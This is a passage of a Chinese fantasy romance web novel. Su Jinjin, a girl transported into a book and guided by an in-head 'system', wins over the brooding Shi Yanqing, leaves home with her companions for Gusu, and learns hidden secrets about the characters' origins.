神鸟燃烧着的羽翼快要将黑雾划破,在暗夜中格外耀眼,又因着灼烧的疼痛不住地鸣叫。
不知神鸟低语着什么,最终炽热的火焰化作了灰烬,自此消失在暗夜之中,不复存在。
四人稳稳落在地面上,长安街又恢复了昔日的模样,黑雾尽消,明月皎皎,跨在星河之中。
依旧是往日的春风,吹起来泛着丝丝凉意,却又莫名地叫人暖心。
林怀烟蹲下身,搀扶起跌倒在地上的苏锦锦,又轻轻地为她顺着背。
几人慢慢走着,灵狐也从少女模样又变为了雪白团子,挪动着小碎步在几人身侧较为吃力地跟着。
苏沐风一脸关心地上前几步,走到苏锦锦身侧,看着苏锦锦苍白的脸眼神中闪过一抹黯然与自责:“锦锦,让你受累了。”
苏锦锦摇了摇头,身上的不适感已经消散了大半,面色也逐渐红润起来。
锦锦垂着头踢着脚边的小石子,小石子划过青石砖铺成的路,发出叮叮当当的响声。
“我没关系,不过最后神鸟说什么了?”
苏锦锦又把脚步放慢了些。
苏沐风眉头微蹙,努力回忆着,身后传来道熟悉的声线,适时打破了这宁静。
“她在道歉,她在说‘对不起’。”
时晏清声线淡淡的,听不出什么情绪,注视着身前的两人。
“那神鸟也是个苦命人。”
“只是可惜了那些无辜少女了。”
苏锦锦的语气带了几分淡淡的惋惜与哀伤。
林怀烟轻笑:“没想到关键时刻锦锦还是很勇敢的。”
“什么嘛,我都要吓死了。”
“还以为我下一秒就要葬身火海了。”
苏锦锦又欢快起来,早已不见方才命悬一线的痛苦与恐惧。
苏沐风勾唇浅笑:“锦锦是闺阁小姐,可能没见过这种阵仗,难免有些紧张感。”
“苏小姐还真是混吃等死,认真且怂。”
时晏清眼底带了几分玩味,苏锦锦转过身,一双杏眼一眨不眨,认真地看着他的黑眸,伸出一个手指伸向上方摇了摇。
“还有一点——”
“从心而活。”
*
日头斜照入窗棂,燕回莺啼,庭院幽香。
外头一阵吵闹,丫鬟小禾说是宫里的人来了。
苏锦锦推开木门,一箱箧一箱箧的金银珠宝搁在院中,令人眼花缭乱。
圣上念镇远侯府苏小姐与苏公子除妖有功,为此嘉奖。
也是,那么大的动静,没有人察觉就怪了。
苏锦锦视线扫过那成箱的珠钗首饰,叫人放在了库房,便再无了动作。
小禾望着苏锦锦的脸,一脸担忧,犹犹豫豫着开口:“确、确定吗?小姐。”
苏锦锦一脸坚定,无所谓地点了点头。
后院传来道急切的女声。
“锦锦——”
苏夫人一脸嗔怪,拉住自家宝贝闺女的手翻来翻去,细细看了又看,眼神中满是担忧与关心。
“神鸟一事宫中自有镇妖司去查,何必以身犯险,叫爹娘担心。”
原著中,苏沐风虽是养子,却在十八岁之前一直在灵幽谷跟在天宗先生身后,而苏父苏母将一腔爱意灌注到了苏锦锦身上,可谓众星捧月,宠爱有加。
苏锦锦搂住苏夫人的胳膊,好似在为炸毛的猫顺毛:“我错了嘛娘亲,何况现在这不是好好的吗?”
说罢,苏锦锦还退后几步,原地转了个圈,粉红裙摆如波浪般翻涌,卷起一地桃花,苏锦锦站在其中,宛如春日的一朵娇花。
苏夫人脸色这才缓和下来,苏锦锦又贴上去。
苏夫人拍了拍手,眉心微微动了动:“呀,我方才叫桃枝做了桃花酥,快快拿过来给锦锦和时公子尝尝。”
说罢,苏夫人提着裙摆朝着小厨房的方向走去。
霎时间,庭院中只剩下苏锦锦与时晏清。
几位丫鬟识趣地扫着地,干着自己的活,扫帚拂过地面,发出沙沙的响声。
雀鸟划过青云,留下阵阵鸟鸣,清脆悦耳。
苏锦锦望着天,发着呆,浑然没有注意到身旁的人。
“苏小姐不喜那宫中的赏赐?”
苏锦锦摇了摇头,装作一副老成的样子:“都是身外之物啊……”
忽的,苏锦锦歪了歪头,一
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张甜美可爱的脸占据了时晏清的视线,使他不由得一愣。
眼前的少女抬手指了指发梢间桃花模样的发饰:“况且,时公子难道觉得这花钿不好看吗?”
时晏清僵硬地扭过头,耳根微微泛红,恰巧这一幕映入苏锦锦的眼帘。
“还、还行吧。”
苏锦锦看着时晏清这副模样,竟莫名地可爱起来,笑出了声。
灵狐在苏锦锦脚边转着圈,时而欢快地蹭蹭苏锦锦的小腿,时而抬眸看着苏锦锦。
“锦锦戴什么都好看。”
苏锦锦噗嗤一声笑了出来,蹲下身摸了摸灵狐雪白的绒毛,又起身好笑地看着时晏清的反应。
“灵狐说话都比你好听呢。”
时晏清一手握拳,落在灵狐雪白脑袋的上空,迟迟没落下去,见灵狐不为所动更是恼羞成怒。
“我能和她比吗?”
“锦锦——”
苏夫人笑眼盈盈,身后跟着个风尘仆仆的少女,少女垂着头,规规矩矩地端了盘糕点,从始至终也没抬过头。
桃枝听话地将桃花酥放到了木桌上。
桃花酥做的很精致,静静地躺在梨花木盘中,排列整齐地似一座小山,上面撒着些花瓣作为点缀。
咬下去,香甜的豆沙馅瞬间在嘴里化开,占据了整个味蕾。
苏锦锦眉眼间漫开笑意,一双杏眼亮晶晶地,又递了一块给苏夫人。
余光扫到一直低垂着头的少女,苏锦锦迟疑了一瞬。
少女视线中蓦地出现一个桃花酥,视线上移,落到那张甜美的脸与略带期待的眸。
苏锦锦正拿着一块桃花酥,见桃枝迟迟没有反应,又在她面前晃了晃。
桃枝的目光又移到了一旁的苏夫人,苏夫人眼里只有对女儿的欣赏,又示意桃枝接过桃花酥。
锦锦长大了。
哪里长大了,明明是换人了。
桃枝正犹豫着,苏锦锦干脆一把将桃花酥放到少女的手中。
手指蜷了蜷,那温暖随着桃花酥蔓延到心底,喜滋滋的。
时晏清正看着这一幕,有些出神。
唇边感到一阵微凉,时晏清鬼使神差地咬了一口,过于甜腻的味道使他回过神来。
“好吃吧。”
时晏清面色一怔,瞬间又释然,一手捏着半块桃花酥,腮帮鼓动着,微微点了点头。
“那当然了,桃枝总给我做糕点,都可好吃了。”苏锦锦似一只小麻雀叽叽喳喳着,可苏夫人依旧笑眼盈盈地看着自家宝贝闺女。
话刚出口,苏锦锦自己就愣住了。
按理说,这是她穿书之后第一次吃桃花酥,怎又会脱口而出那些话,又怎会说自己经常吃?
这本不是她的记忆。
苏锦锦又晃了晃脑袋,企图将这些复杂的问题抛之脑后。
6. 月夜
春雨沥沥,院内桃花凋零衰落,雨水混着泥泞的花瓣好似美人混着胭脂的泪。
黑云沉沉的,压住月光,暗夜中只有苏锦锦提着小油灯散发出微弱的暖光。
月夜,总是能让大人物发生些见血的故事。
脑海中系统的提示音不断响起,苏锦锦也渐渐从烦躁变为了心累。
系统不断要求苏锦锦为女主林怀烟使绊子,却每次都被锦锦钻了空子。
苏锦锦提着油灯,在镇远侯府的院子里孤零零走着。
好不容易凭着模糊的记忆走到了林怀烟的窗前,屋内烛火摇曳,显然还未歇下。
苏锦锦悄眯眯从窗棂翻了进去,空气中弥漫着清新的茉莉花香,又夹杂着一丝丝甜腻的血腥味。
林姐姐受伤了?
有些念头一旦产生,就会产生强烈的好奇心去一探究竟。
苏锦锦一手提着小油灯,蹑手蹑脚地上前,此刻的姿势像极了霸王龙。
纱帐模糊了人影,苏锦锦伸手撩开纱帐。
少年赤着上身,宽肩窄腰,皮肤白皙,如若忽略掉背后那鲜红狰狞的伤口,简直可以称得上为艺术品。
苏锦锦“哇——”地一声叫了出来,手中的小油灯一个转身也掉落在地,咕噜咕噜转了几圈。
还是只胆小的霸王龙。
少年眼皮微抬,苏锦锦小心翼翼地后退了几步,隔着一定的安全距离。
“你、你怎么在林姐姐房间?”
时晏清好笑地看着苏锦锦:“苏小姐怕不是走错了,林小姐房间在隔壁。”
苏锦锦一时不知是因着尴尬还是因着恐惧,僵硬地伫立在原地,迟迟没有动作。
时晏清背后的伤口过于恐怖,就像一个血窟窿,血肉模糊,时晏清眼尾染上猩红,手下动作却没停。
“苏小姐有事吗?”
苏锦锦讪笑两声,正蹑手蹑脚地退后两步,丝滑地捡起掉落的小油灯:
“没事没事,落枕了,想找林姐姐来着。”
“不必了,我来吧。”
时晏清简单包扎了下伤口,苏锦锦的目光随着他的动作,最终落到脖颈处的月牙痕迹上。
“你怎么了?”
苏锦锦嘴比脑子快,说出了心底的疑问,可刚说出口,便后悔了。
因为:反派死于话多。
她应该是女配死于话多。
“苏小姐想知道吗?”
时晏清此刻已慢条斯理地穿上雪白中衣,正抬脚走向圆桌,替苏锦锦斟了杯热茶。
茶水清澈,茶香四溢,氤氲的雾气模糊了两人的视线。
“我自小便被下了诅咒,爹娘抛弃我,把我送到了灵幽谷,在师傅身侧长大。”
“而这诅咒,每到雨夜便会复发,不得已之下才用这种方式减轻痛楚。”
原著中,对于时晏清身世的描写并无太多,只寥寥几笔带过。
只给他扣了个“反派”的帽子,让他使得捉妖世界崩塌。
但苏锦锦知道,万物有灵,有因必有果,没有绝对的天生恶人,而坏人也不是一朝之夕变坏的。
时晏清冰凉的指尖慢慢附上苏锦锦的脖颈,冷的她打了个寒颤。
那双手仿佛毒蛇,下一秒便要缠上她那脆弱的脖颈。
恐怕,这个月夜,要见血的就是苏锦锦了。
那双冰凉的手慢慢向下,替苏锦锦捏着肩,力度不大。
苏锦锦睫毛微微一颤,坐立难安。
“就连我的名字,时晏清,对于他们来说也无足轻重,可有可无罢了。”
时晏清声线淡淡的,没什么情绪,好似在诉说着别人的故事。
可越是冷静,内心的海浪掀得便越剧烈。
苏锦锦回眸,本就楚楚可怜的一双杏眼亮晶晶的。
时晏清竟从苏锦锦的眼中看到了一丝……怜悯的意味。
【系统提醒:待攻略对象“时晏清”好感度下降1%】
【系统提醒:待攻略对象“时晏清”好感度下降3%】
【系统提醒:待……】
【系统提醒:待攻略对象“时晏清”好感度下降1%,目前好感度0%!!!】
刚攒下来的10%好感度都扣没了!
反派心思难猜,锦锦欲哭无泪。
“苏小姐是在怜悯我吗?”
苏锦锦也不知从哪来的勇气,正注视着时晏清的黑眸。
那双黑眸似波澜不惊的湖水,实则暗流涌动。
“不是怜悯,是心疼。”
“怜悯是上位者对下位者的玩弄,可怜,而心疼,是有感情在的。”
“而且,我倒觉得你的“清”,是清平吉祥的清。”
“时晏清,如果你想,你可以做一杯清茶,沁人心脾,也可以做一缕清风,拂过耳畔,也可以做这明月,照亮万家灯火。”
苏锦锦的声音轻柔地像月光,轻轻拂过时晏清的耳畔。
时晏清随着眼前少女的目光望向窗外的一轮圆月。
黑云拂过,皎月仍存,露出点点星光。
“时晏清,你首先是你自己。”
苏锦锦的目光炽热,带着些不容置疑的坚定。
罕见的,脑海中的系统的提示音并未响起,同身侧少年般,迟迟没有下句,苏锦锦的心又吊了起来。
【系统提醒:待攻略对象“时晏清”好感度大幅上涨,好感度上涨20%,目前好感度20%】
清甜的少女音夹杂着一丝劫后余生的庆幸,苏锦锦也没来由地长舒一口气。
茶盏中映着一轮圆月,一阵微风吹过,泛起阵阵涟漪。
*
月光皎皎,苏锦锦躺在软榻上,鼻尖萦绕着雨后泥土的清香,意识混沌,陷入了个灰蒙蒙的梦……
景和十四年,恰逢天降异象,三皇子早夭,视为不祥之兆。
天灰蒙蒙的,不知是月夜还是阴天。
华丽的宫殿内,女人将手中不吵不闹的婴孩轻柔地递给身侧的大宫女。
因着动作,女人头顶的水晶步摇一晃一晃,发出清脆的响声。
“带着三皇子走,走得越远越好,带到……”
“灵幽谷。”
女人的眸中是不容置疑的坚定,眼神一眨不眨地望着夜幕中的一轮圆月。
身侧的大宫女恭敬地站在女人身后,面色迟疑,嘴唇张张合合:“娘娘,不为三皇子取个名字吗?”
“便叫时晏清吧,海晏河清。”
怀中的婴孩离了母妃的怀抱,哭闹着,啼
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哭在静谧的暗夜中显得格外刺耳。
“娘娘,想好了吗,不再看一眼小皇子吗?”
“他不走,难道等着圣上查下来吗?”
女人似是狠了心,咬着牙,撇过头,水晶步摇一晃一晃:“带他走吧,这是最好的选择。”
大宫女一手轻柔地为怀中的婴孩拍着背,可也不知是母子连心,一向听话的婴孩竟啼哭不止。
哭声渐渐扰乱了眼前女人的思绪。
女人转过身,随着动作,一滴泪划过脸颊。
“带他走!”
宫女畏缩缩地点了点头,一边拍着婴孩的背,一边朝着宫门不停地跑,自此消失在暗夜中。
女人慢慢蹲下身,再也抑制不住心中的酸涩,双手捂着脸,清泪如一汪泉水从指缝间涌了出来,滔滔不绝。
灰蒙蒙的梦到这戛然而止。
苏锦锦是在噩梦中惊醒的,忽的坐直了身,大口大口喘着气,额头冒上一层薄汗,染湿了额前的碎发。
丫鬟小禾听见动静慌慌张张跑了进来,一手扶着苏锦锦靠在身后的软垫上,一手为苏锦锦顺着气。
“小姐,小姐?”
“小姐可是做噩梦了?”
苏锦锦猛灌下几杯茶,强压下内心的慌乱点了点头,燥热的心才得以平静。
小禾熟悉且担忧的脸庞出现在苏锦锦面前,才感觉丝丝安心。
方才的梦,便是原著从未提到过的时晏清的身世。
可为何她生母要将他扮作假死?又为何逃出宫去?
木门被敲动,发出有节奏的“叩叩”声。
苏锦锦眼底闪过一丝讶异,又扭头眼神询问着小禾。
小禾在脑海中思索一番,眉心微微动了动:“应是苏公子,今日一早便见公子在门口等候多时了。”
苏锦锦点了点头,示意了然,便起身开了门,来人正是苏沐风。
“怎么了,哥哥?”
“锦锦,我同林小姐和阿清商量着明日启程。”
一切来的太过突然,使得苏锦锦怔愣了一瞬,混沌的大脑瞬间清醒过来。
“启程?去哪啊?”
一道温和的女声从苏沐风身后传来:“启程去姑苏。”
林怀烟眼神坚定,一瞬不瞬地看着苏锦锦。
算算日子,姑苏方府的信应差不多到了林怀烟的手上,按照原著的剧情,此行不得不去,只是苏锦锦对这个没待几天的家莫名又多了几分不舍。
“明日吗?不能再等几天吗?”
苏沐风微微摇头,轻轻叹息间流露出一丝无奈:“方府曾对林家有恩,此行不得不去。”
“我阿爹阿娘曾在姑苏捉妖时受了重伤,是方府请人为阿爹阿娘疗伤的。”林怀烟补充道,眸中闪烁过一瞬的光。
“若是锦锦不想去便罢了。”
苏沐风自小跟在天宗先生身侧闯荡,对镇远侯府并无过多的依赖,可苏锦锦却不同,自小生活在这儿,难免有些留恋。
见苏沐风如此开口,苏锦锦慌忙摆了摆手,一双杏眼难得地有些无措。
“不会不会,我想去。”
苏沐风担忧的神色放松下来,随即唇角勾起一抹浅笑:“好,那锦锦收拾东西吧,晚膳时同爹娘商议一番。”
7. 离家
正值傍晚,窗外传来阵阵虫鸣。
丫鬟们拿着一方帕子,帕子中包裹着几双乌木三镶银箸,按席摆好。
远远地,烤乳猪的香味传进苏锦锦的鼻子,弥漫在整个房间。
烤乳猪外皮酥脆,冒着油滋滋的光,见苏锦锦双眼冒光,苏夫人也露出一抹淡淡的笑。
众人落座,时晏清默默吃着碗中的饭,全桌只有苏锦锦似小麻雀般叽叽喳喳地没完。
苏父苏母便笑呵呵地看着宝贝闺女,苏沐风与林怀烟也偶尔插两句嘴。
见气氛较为融洽,苏锦锦放下手中的银箸,一双杏眼在苏父与苏母两人身上游走。
“怎么了锦锦,有什么事同爹娘说吗?”
苏锦锦俏皮地眨了眨杏眼,斟酌着用词开口:“好像是有一件事。”
苏夫人夹过一片烤乳猪,乳猪片在烛火下泛着诱人的光。
“说吧。”
“爹,娘,我们决定明日启程去姑苏捉妖。”
苏夫人夹着菜的手一抖,乳猪片掉在了楠木桌,泛着油渍,丫鬟眼疾手快地上前几步收拾残局。
“不行。”
“好。”
苏夫人与苏老将军的两道声线不约而同响起,苏老将军看着自家夫人愤愤地瞪着自己,又温和了下来。
“锦锦那么小,去姑苏那么远,你我都不在身旁,要是出事了怎么办?”
霎时间,气氛一度有些紧张,几人都默契地没动筷子,也没人敢出声。
苏老将军轻轻叹了口气,又温和地拍着苏夫人的背:“有小风在,锦锦不会出事的。”
“况且锦锦是我镇远侯府嫡女,作为武将之女,此番历练,闯荡一番,自是也有好处。”
苏夫人愤愤盯着苏老将军,唇线紧绷,透出了一股不赞成的怒气。
“没事没事,你总说没事,如若真出了事,你能赔我女儿吗?”
苏老将军一手想要轻拍苏夫人的背,可苏夫人撂下筷子,转身大步回了屋。
夜风拂过她的裙摆,独留一脸无措的苏老将军。
苏老将军叹了口气,摇了摇头,几人僵坐在饭桌上,默契的谁也没出声,气氛一瞬进入诡异。
苏锦锦抬起眸子小心地看了眼苏老将军,又小声地喊了一声:“爹。”
苏锦锦杏眼眨了眨,本就楚楚可怜的一双眼更为湿润。
苏老将军拍了拍苏锦锦的背:“放心吧,你娘那边爹提你解决。”
几人默契地没再吭声,各自回了屋。
*
日光射入格窗,屋内映照得一片金黄,雀鸟落在枝头鸣唱。
这一夜,苏锦锦睡得极为不踏实。
她平日睡眠极好,可如若心里有事情惦记,便整夜不踏实。
,
小禾替着苏锦锦梳妆,她勉勉强强睁眼,试图让自己的意识更加清醒。
可一系列的动作都没什么作用,哈欠连天。
苏锦锦推开门,与一位急匆匆的黑影相撞,身形有些踉跄。
来人正是苏老将军,苏老将军扶住了苏锦锦摇摇欲坠的身影,神情有些愧疚和自责。
“锦锦。”
苏锦锦抬手扶住了额头,才得以抬头看清面前的人。
“爹?”
“放心吧,你娘那边爹为你搞定了,出门后多见见世面,和你哥好好处着。”
“你娘也不是和你们生气,她跟我生闷气,昨夜还不许我睡榻上。”
“她就是放心不下你才不舍得让你走的。”
苏老将军一番话下来,苏锦锦脑袋还迷迷糊糊的,点了点头,只不过身旁的小禾倒是格外的开心。
“小姐,到了姑苏,能给我娘捎个信吗?”
苏锦锦回了屋,转身又带上了门,点了点头。
“奴婢也不识字,小姐能替我写吗?”小禾眼睛亮晶晶的,藏不住少女的喜悦。
终归是小女孩,小禾是五年前苏夫人怕苏锦锦一个人孤单从人牙子那买来的。
当年姑苏大旱,小禾将自己卖了,买了肉,又为爹买了酒,剩下的银子交给娘,便离了家。
苏夫人见小禾也可怜,于心不忍,于是一路颠簸,从姑苏辗转到了长安。
小禾同苏锦锦同岁,初见时还脏兮兮的,瘦瘦小小的,如今同苏锦锦也差不多高了。
苏锦锦走到桌前坐下,小禾就研着墨,苏锦锦蘸了蘸墨抬笔。
“娘,我在镇远侯府一切安好,我家小姐对我们可好了呢。”
苏锦锦噗嗤一声笑了,笑眼盈盈地看着小禾,用手指刮了刮小禾的鼻尖:“这是夸我呢?”
小禾也笑了,点了点头:“我家小姐的的确确很好啊。”
小禾又叽叽喳喳说起来,一会问爹的病好了没,一会问弟弟长胖了没,一会又问家里的公鸡下蛋了没。
苏锦锦笔杆敲在小禾头上,不痛不痒:“公鸡哪会下蛋啊。”
小禾又笑嘻嘻起来,主仆二人嬉闹了会,苏锦锦又抬起笔补了一句:“来年三月就回家。”
苏锦锦知道的,虽然小禾面上不显,其实孤零零的小女孩,是最想家的。
待她年纪到了,给一笔银子,去见见家人也不错。
苏锦锦折起信,塞进包袱中,便领着小禾去收拾衣裳。
方才嬉皮笑脸的小人又耷拉下来,眉眼间流露着对苏锦锦的不舍。
“这个好看。”
“这个配发簪合适。”
“……”
“这个暖和。”
见苏锦锦将过冬的小袄也一并塞进了包袱中,小禾不情不愿地收拾着,撅了撅嘴,又可怜兮兮看了几眼苏锦锦:“小姐,你要去多久啊。”
苏锦锦没抬头,手下动作没停,笑着道:“待春暖花开时我就回来了。”
“去那么久啊,小姐!”小禾见此情景哀嚎道。
苏锦锦又摸了摸小禾的头,:“让桃枝多陪你多玩会。”
小禾又气鼓鼓起来,嗔怒道:“桃枝她就是个木讷的,天天就会做糕点做糕点的。”
苏锦锦收拾好东西,起身却发现东西太沉了,又伸出手拖了拖包袱。
“小禾,做朋友的第一步是尊重。”
苏锦锦抬脚走出门,小禾正思考,又连忙小跑几步,在她身后紧跟着。
推开门,便瞧见了时晏清斜靠着门,吓了她一跳,手中的
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包袱也掉在了地上。
时晏清觉得有些好笑,打量着包袱,又打量着苏锦锦。
“苏小姐是出门游历去还是比美去?”
苏锦锦愤愤地拍了拍手,蹲下身想起捡起包袱,一只白皙的手却已将包袱捡起。
“苏小姐金枝玉叶,还是让我来吧。”
苏沐风同林怀烟在门口站着,林怀烟白皙的面颊已透露出健康的红,应是身体好的差不多了。
苏夫人与苏老将军也携手站在几人身旁,苏夫人递来用纸包着的桃花酥。
“叫桃枝做的,路上别饿着了。”
苏锦锦低着头看着掌心的桃花酥,对这个只待了几天的家生出几分不舍来。
“多带些银子,路上别哭了自己。”
苏锦锦掌心又多出一袋沉甸甸的银子,这银子的重量与苏老将军爱的重量差不多了。
“多给家里捎信——”
几人上了马车,苏老将军与苏夫人和小禾伫立在府门口,挥着手,苏夫人扭过头去,用帕子擦了擦泪。
苏老将军为自家夫人顺着气,又慢慢扶着苏夫人回了屋。
府门口只剩小禾挥舞着手,一双手又张成喇叭状:“别忘了信—”
苏锦锦半个身子探出窗外,摆了摆手。
视线越来越模糊,小禾渐渐地也变成了黑点,只剩手中的桃花酥带着些余温。
苏老将军怕苦了自家宝贝闺女和苏沐风,备了上好的马车,其余几人也沾了光。
苏锦锦缩回了马车内,瘫靠在软枕上,一股异样的情绪涌上心头。
苏沐风与林怀烟坐在身后的马车,苏锦锦斜着眼偷瞄了眼时晏清。
时晏清闭着眼,好似在小憩,苏锦锦的视线又望向窗外,泥土的气息混杂着桃花香弥漫开来,苏锦锦深吸了口气却迟迟没吐出来。
一阵眩晕感猛的袭来,再睁眼,昔日热闹的长安街竟霎时间变了模样,满树挂着红绸缎,街上撒满了各种花瓣。
眼前的场景令苏锦锦感到不真实,似一场梦。
队伍如长龙般排了老长,长安街上敲锣打鼓声络绎不绝。
身侧红轿上的新娘端坐着,红轿摇摇晃晃,团扇遮住半张脸,凤冠霞帔,华美的喜服穿在她身上也不显俗气。
红轿上的新娘涂着一层胭脂,神色却异常悲戚。
两行清泪顺着脸颊的弧度渐渐滑到下巴处。
新娘似乎意识到自己的失态,连忙抬袖擦了擦泪,脊背挺得直直的。
苏锦锦又向前凑了凑身,半个脑袋已探入窗外,想要一探究竟。
出嫁之人怎会流泪呢?
苏锦锦揉了揉眼睛,再看向窗外,长安街又恢复了正常,小贩吆喝着,孩童嬉闹着,不时传来少女银铃般的笑声。
少女手挽着手,围绕在小摊前,不时拿起几支簪子试戴,卖糖葫芦的吆喝声传入耳畔,街上身着各色衣裳的人络绎不绝。
难道自己真的看错了?
苏锦锦不自觉问着自己,可一种直觉告诉自己方才的场景并不是梦,自己分明是清醒的。
苏锦锦又靠了回去,干脆不想这些乱七八糟的事,眯起眼睛好似舒服的小猫。
8. 身世
马车的幕帘微微卷起,一阵裹挟着寒意的春风轻轻拍了拍熟睡少女的肩膀。
苏锦锦再度睁眼,意识混沌间撩开幕帘,夜幕低垂,已是傍晚。
苏老将军安排的这辆马车太过平稳,一路上竟无一丝颠簸,苏锦锦在路上睡得也格外香甜。
收回手,苏锦锦的目光转向身侧安静的少年,见少年双手环胸,早已醒了过来。
车门悬挂着两盏镂空竹雕灯笼,泛着暖光的光。
前头的车夫扭头喊了一声:“小姐,到客栈了,暂且休整一晚吧,明日再启程赶路。”
时晏清收回目光,下了马车,苏锦锦紧跟其后。
“现在到哪了呀?”
苏锦锦歪出个脑袋,一双杏眸一眨不眨地看着车夫。
车夫放下手中的缰绳,被苏锦锦一看,又有些羞赧地挠了挠头:“小姐,到杨柳镇了。”
沉重的一声,苏沐风肩上的两个包袱双双滑落,掉在地上,神情有些不自然。
随着沉重的声响,几人的视线都不约而同地转向了苏沐风。
林怀烟推了推苏沐风,后者这才后知后觉捡起滑落的包袱,又安抚似地朝着众人笑笑:“没事了,走吧。”
而苏锦锦却敏锐地捕捉到了苏沐风眼底划过的一抹不自然,却也未多说什么,几人转身回了客栈。
客栈的位置很偏僻,坐落在一座深山脚下,四周寂静,依稀可听见几声虫鸣。
苏锦锦褪去一身的疲惫,躺在软榻上,刚准备歇下。
【系统提醒:请宿主即刻前往后院,达成“揭露身世”支线任务】
脑海中那道熟悉的系统音响起,这一路上系统都意外地沉默着,难得突然的开口却吓了苏锦锦一大跳。
带着被吵醒的怨气,苏锦锦拖沓着推开门,吱呀——一声,在寂静的夜里显得尤为突兀,又蹑手蹑脚走向了客栈的后院。
原著中,主角团在杨柳镇落脚的第一天夜里,男女主本在后院诉说真情,而苏锦锦躲在树后看着这一切,打击太大接受不了导致泪水决堤哭出了声,引得男女主前来安慰。
苏锦锦摇了摇脑袋,眸光一闪,加快步子走向了后院。
后院内柳树枝干粗壮,苏锦锦提着裙摆躲在树后,双手附上枝干,露出半个小脑袋观望着一切。
系统只说了要揭露男主苏沐风的身世,却并未强调在男女主的高光时刻横叉一脚。
此刻悄悄躲在树后,同样完成任务,一举两得。
月光似碎银般密密地撒下来,落在叶子上的露珠,泛着晶莹的光。
苏沐风一身白衣,趴在书桌上,一旁的酒壶随意地被抛弃着空气中散发出剧烈的酒香。
苏沐风睫毛微微一颤,月光静静地打在他的身上,没了往日清冷的模样,倒显得多了几分悲戚,带着几分淡淡的愁绪。
林怀烟安安静静地坐在他的身侧,因着醉酒,脸蛋也变得红扑扑的,此刻像少女般待在苏沐风身侧。
“当年,我爹就是在这儿丧命的。”
苏沐风空中呢喃不清,林怀烟就坐在旁边静静地听着。
两人之间的对话传入了躲在树后的苏锦锦的耳畔,少女随着苏沐风的话,思绪也渐渐飘回了原著中对苏沐风悲惨身世的交代:
苏沐风本唤云沐风。
云将军乃苏老将军手下副将,二十年前奉圣上旨意率军南下江南平定战乱。
此战大获全胜,一切都在往好的方向发展,有条不紊地进行着。
可回长安的途中,苏老将军手下的将领却忽的造反,所有人都沉浸在打了胜仗的喜悦和即将回家的期盼中,却被打了个措手不及。
云副将却替苏老将军挡住了致命的一剑,护住了苏老将军。
而云副将却永久地在杨柳镇合了眼,带回长安的,只剩下云副将的死讯。
云夫人接受不了枕边人离世的消息,日日望着圆月,茶饭不思,最终将不满五岁的云沐风交给镇远侯府便撒手人寰。
这件事,苏老将军于心有愧,几年来待苏沐风同亲生儿子般疼爱,而年幼的苏沐风懵懵懂懂,却格外地听话。
而在苏沐风十岁时,便结识了天宗先生,自此随着天宗先生,生活在灵幽谷。
直到七年前,苏沐风十八岁时,天宗先生惨死于念妖之手,自此便重回了镇远侯府。
而在镇远侯府的日子,苏沐风也格外地听话,对这个没有血缘关系的“妹妹”也照顾有加。
原主苏锦锦也是在那时,对体贴的苏沐风暗生情愫。
苏沐风,如沐春风,对谁都体贴入微,温润
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有礼,自他五岁开始,便渐渐养成了替他人着想的习惯。
年幼的苏沐风还未走出失去爹娘的痛苦,便需要有独当一面的勇气。
不过在无数个深夜,或许他也会梦到他英勇的爹,可爱的娘,又在这样的深夜无法入眠。
苏沐风口中呢喃着:“我想我爹娘了。”
一行泪划过脸颊,混着酒水落入唇畔。
林怀烟轻轻抱住苏沐风,轻拍着他的背,安抚着他的情绪。
苏沐风也终于卸下了往日的防备,不再是那个温柔至极,事事都要照顾周全的大哥哥,而是成了有血有肉的自己。
见两人痛哭流涕诉说真情,树后的苏锦锦迟迟等不来系统的提示音。
【系统提醒:恭喜宿主,完成支线任务“揭露身世”】
那系统仿佛会读心般,清甜的少女音再度在苏锦锦脑海中响起。
这几日,苏锦锦与系统斗智斗勇,互相钻空子,却也达成了一种诡异的默契。
被折腾了大半夜的苏锦锦慢悠悠地打了个哈欠,又蹑手蹑脚地准备原路返回,继续睡她的安稳觉。
苏锦锦一双手还未附上客栈的木门,门却“吱呀——”一声被另一侧的人打开了。
木门另一侧漆黑一片,隐隐约约一道黑影伫立于此,几乎与那片阴影融为了一体。
少女被眼前的场景吓得身形有些不稳,向后踉跄了几步,这才看清站在阴影下的人
“时晏清?”苏锦锦疑惑着喊出声。
时晏清走出阴影,斜靠在门口,唇角勾起,笑意未达眼底。
“吓我一跳,你大半夜不睡觉在这儿干什么?”见时晏清迟迟没回应,苏锦锦又借此缘由补了一句,以此来掩盖自己的心虚。
“太闷了,透透气。”时晏清淡淡吐出几个字,黑眸里的情绪似乎比这初春夜里的风还更为寒冷。
苏锦锦被他一吓,方才零星的一点睡意也全消散了,一双杏眼在暗夜中格外地亮。
“我带你去个地方。”
时晏清一怔,表情有些讶然:“去哪?”
“你就说去不去嘛。”苏锦锦故作神秘,朝着时晏清使了个眼色。
半晌,少年低低地应了一声,苏锦锦拉着时晏清的胳膊,一路小跑到了后山中的一处深洞处。
9. 流萤
夜色深浓,后山脚下绿草如茵,郁郁葱葱。
空气中弥漫着淡淡的花香,混着泥土清新的味道,令人神清气爽。
苏锦锦拉着时晏清到了一处深洞前,深洞黑漆漆的,却隐约得见几丝不真切的光亮。
时晏清有些不解,伫立在原地,迟迟没有动作。
这洞穴旁有杂草遮挡,旁人根本不会注意到这里。
而苏锦锦之所以得知这个地方,也多亏于原主。
原著中,苏锦锦因着在树后的啜泣声被苏沐风和林怀烟听见,两人好一番安慰。
见苏锦锦迟迟没平稳下情绪,苏沐风这才带她来了后山的这座深洞里,只愿苏锦锦心情能够好转些。
原著中对于这个洞穴的描写,虽然只有寥寥几句,却恰巧点到为止,令读者浮想联翩。
这还是原著中,苏沐风与苏锦锦为数不多的独处时刻。
而如今苏锦锦既未在树后哭泣出声,这座深洞便也没了什么太大的作用。
思绪至此,苏锦锦踏出步子,决定一探究竟,瞧瞧这洞内的风景。
刚走出几步,苏锦锦见时晏清还未跟上来,又面不改色地后退几步,扯过时晏清的袖子这才放心地继续向前走。
随着两人的步子,洞穴内的视野渐渐宽阔,里面的光亮也逐渐大了起来,两人这才得知那光亮的来源。
“流萤?”时晏清似乎对这一切还未回过神来,又有些疑惑。
苏锦锦点了点头,又骄傲地扬了扬下巴。
“怎么样?好看吧?”
还未等身侧少年回答,苏锦锦便自顾自地欣赏起来。
这是个天然洞穴,中间有个小池塘,四周为杂乱的草丛,流萤掠过水面,照得水面波光粼粼,煞是好看。
萤火虫从草丛中探出头,又嬉戏于湖之面上,为这个黑漆漆的深洞多添了一方风景。
对于苏锦锦来说,萤火虫应是儿时的回忆了。
